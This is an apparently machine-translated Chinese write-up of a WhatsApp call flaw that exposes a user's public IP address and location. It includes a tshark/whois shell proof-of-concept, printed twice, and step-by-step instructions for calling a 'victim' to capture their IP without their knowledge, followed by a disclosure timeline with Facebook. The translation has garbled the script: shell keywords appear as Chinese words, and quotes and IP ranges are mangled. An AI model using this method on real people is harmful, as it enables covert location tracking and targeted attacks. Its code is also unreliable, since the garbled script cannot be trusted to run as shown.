Whatsapp IP leak

泄漏目标WhatsApp用户的IP地址和地理位置

免责声明

该计划仅出于教育目的。未经许可，请勿使用它。通常的免责声明适用，尤其是我（BHDRESH）对直接或间接使用这些程序提供的信息或功能造成的任何损害不承担任何责任。作者或任何互联网提供商不承担内容或滥用这些程序或其任何衍生产品的责任。通过使用此程序，您可以接受以下事实：由于使用这些程序，任何损坏，系统崩溃，系统妥协等）并不是BHDRESH的责任。

最后，这是一个个人发展，请尊重其哲学，不要将其用于坏事！

描述/影响

POC视频：

https://vimeo.com/577355374

完整的详细信息

所有平台上的WhatsApp应用程序的最新版本都容易受到远程WhatsApp用户公共IP披露的影响。

据观察，在WhatsApp（语音 /视频）调用期间，呼叫者侧的应用程序试图与收件人设备的公共IP地址建立直接连接。通过从目标主机过滤Facebook和WhatsApp服务器IP地址，可以在不知情的情况下揭示目标WhatsApp用户的正确公共IP地址。

以下是一个快速脚本来利用此漏洞，

---

＃！/bin/sh

filter = tshark -i eth0 -T fields -f "udp" -e ip.dst -Y "ip.dst!=192.168.0.0/16 and ip.dst!=10.0.0.0/8 and ip.dst!=172.16.0.0/12" -c 100 |sort -u |xargs|sed "s/ / and ip.dst!=/g" |sed "s/^/ip.dst!=/g"

回声“按Enter并调用您的目标”。

读行

tshark -i eth0 -l -t fields -f“ udp” -e ip.dst -y“ $ filter” -y'ip.dst！= 192.168.0.0/16和ip.dst！= 10.0.0.0.0/8和ip.dst！= 172.16.0.0/12“ |读行时do whois $ line> /tmp /b

filter = cat /tmp/b |xargs| egrep -iv "facebook|google"|wc -l

如果[“ $ filter” -gt 0];然后targetInfo = cat /tmp/b| egrep -iw "OrgName:|NetName:|Country:" echo $ line --- $ $ targetinfo fi完成

---

影响

使用公共IP映射WhatsApp用户的可能性不仅会揭示WhatsApp用户的位置信息，而且还可以通过维护位置历史记录来滥用以跟踪其身体运动。也可能会滥用用户到IP信息之间的直接映射，以跟踪用户的冲浪习惯并影响他。

此外，可以利用公共IP来向WhatsApp用户家庭或办公室发起针对性的攻击。

repro步骤

设置

用户：Usera是用户b的WhatsApp细节

环境：不/a

浏览器：N/A。

应用程序：<=任何平台上的WhatsApp应用程序的最新版本

OS：除Web以外的所有平台

描述：USERA对用户B进行了WhatsApp调用，并在没有用户B的知识的情况下捕获了他的公共IP信息。视频POC可以更好地了解步骤：https：//vimeo.com/577355374

步骤

步骤1：在攻击者机器上启动WiFi热点，然后将攻击者电话连接到攻击者SSID

步骤2：在攻击者机器上启动POC脚本（下图），该机器现在充当攻击者电话的路由器

---

＃！/bin/sh

filter = tshark -i eth0 -T fields -f "udp" -e ip.dst -Y "ip.dst!=192.168.0.0/16 and ip.dst!=10.0.0.0/8 and ip.dst!=172.16.0.0/12" -c 100 |sort -u |xargs|sed "s/ / and ip.dst!=/g" |sed "s/^/ip.dst!=/g"

回声“按Enter并调用您的目标”。

读行

tshark -i eth0 -l -t fields -f“ udp” -e ip.dst -y“ $ filter” -y'ip.dst！= 192.168.0.0/16和ip.dst！= 10.0.0.0.0/8和ip.dst！= 172.16.0.0/12“ |读行时do whois $ line> /tmp /b

filter = cat /tmp/b |xargs| egrep -iv "facebook|google"|wc -l

如果[“ $ filter” -gt 0];然后targetInfo = cat /tmp/b| egrep -iw "OrgName:|NetName:|Country:" echo $ line --- $ $ targetinfo fi完成

---

步骤3：随机致电任何WhatsApp用户以捕获服务器IP地址以进行过滤

步骤4：致电受害者在他的whatsapp上

步骤5：建立后断开电话连接

步骤6：脚本将揭示目标的公共IP地址

步骤7：在目标电话上验证公共IP地址

披露时间表

1. 2020年10月14日 - 报告了Facebook的脆弱性
2. 2020年10月14日 - 来自Facebook的回复（感谢您的报告。在这种情况下，您所描述的问题实际上只是意图的功能，因此没有资格获得赏金。）
3. 2020年10月14日 - 回复Facebook（您能否让我知道WhatsApp用户如何减轻意外披露他的IP和有关其位置的潜在私人信息？）
4. 2020年10月16日 - 后续电子邮件
5. 2020年10月20日 - Facebook的回应（由于对等方案的性质，对于可能关注意外披露的用户的最佳方法是采用一种主动的方法。这可以包括限制对信任用户的限制或使用VPN。）
6. 2021年1月18日 - 请求公开披露许可（在这种情况下，如果我在公开披露的情况下发布此发现是否可以吗？）
7. 2021年1月18日 - Facebook的回应（决定出版的决定完全是您的。这样做没有罚款。）
8. 2021年3月20日 - 与Facebook的进一步通信（在我的研究期间，信号已经引入了通过信号服务器中继呼叫的功能以无效揭示IP地址。...您能否重新检查该方法以将呼叫限制为可信赖的用户或我相信一直使用VPN是保护位置隐私的可行解决方案。
9. 2021年3月23日 - 来自Facebook的回复（目前我们对当前的WhatsApp呼叫实施感到满意）。
10. 2021年7月3日 - 公开披露